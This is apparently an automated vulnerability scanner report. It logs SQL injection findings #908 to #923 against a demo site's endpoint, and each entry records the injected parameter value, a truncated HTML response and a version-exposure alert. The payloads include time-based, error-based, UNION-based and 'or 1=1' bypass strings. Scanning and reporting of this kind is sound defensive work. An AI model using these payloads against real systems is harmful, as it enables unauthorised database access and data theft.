Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #908
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1 or benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #909
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io OR 2947=LIKE('ABCDEFG',UPPER(HEX(
RANDOMBLOB(1000000000/2))))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #910Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #911
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io//
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #912
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+
CHAR(116)+CHAR(69)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #913
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin') or ('1'='1'#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #914
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin" or 1=1/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #915
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ' and 1 in (select min(name) from sysobjects where xtype 
= 'U' and name > '.') --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #916
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #917
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(
0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,
FLOOR(RAND(0)*2))x FROM 
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #918
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(
116)+CHAR(69)+CHAR(65)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #919
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioOR 1=0#ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #920
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #921
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io'^'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #922
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io WHERE 1=1 AND 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #923
Scan SQL Injection
Severity ERROR
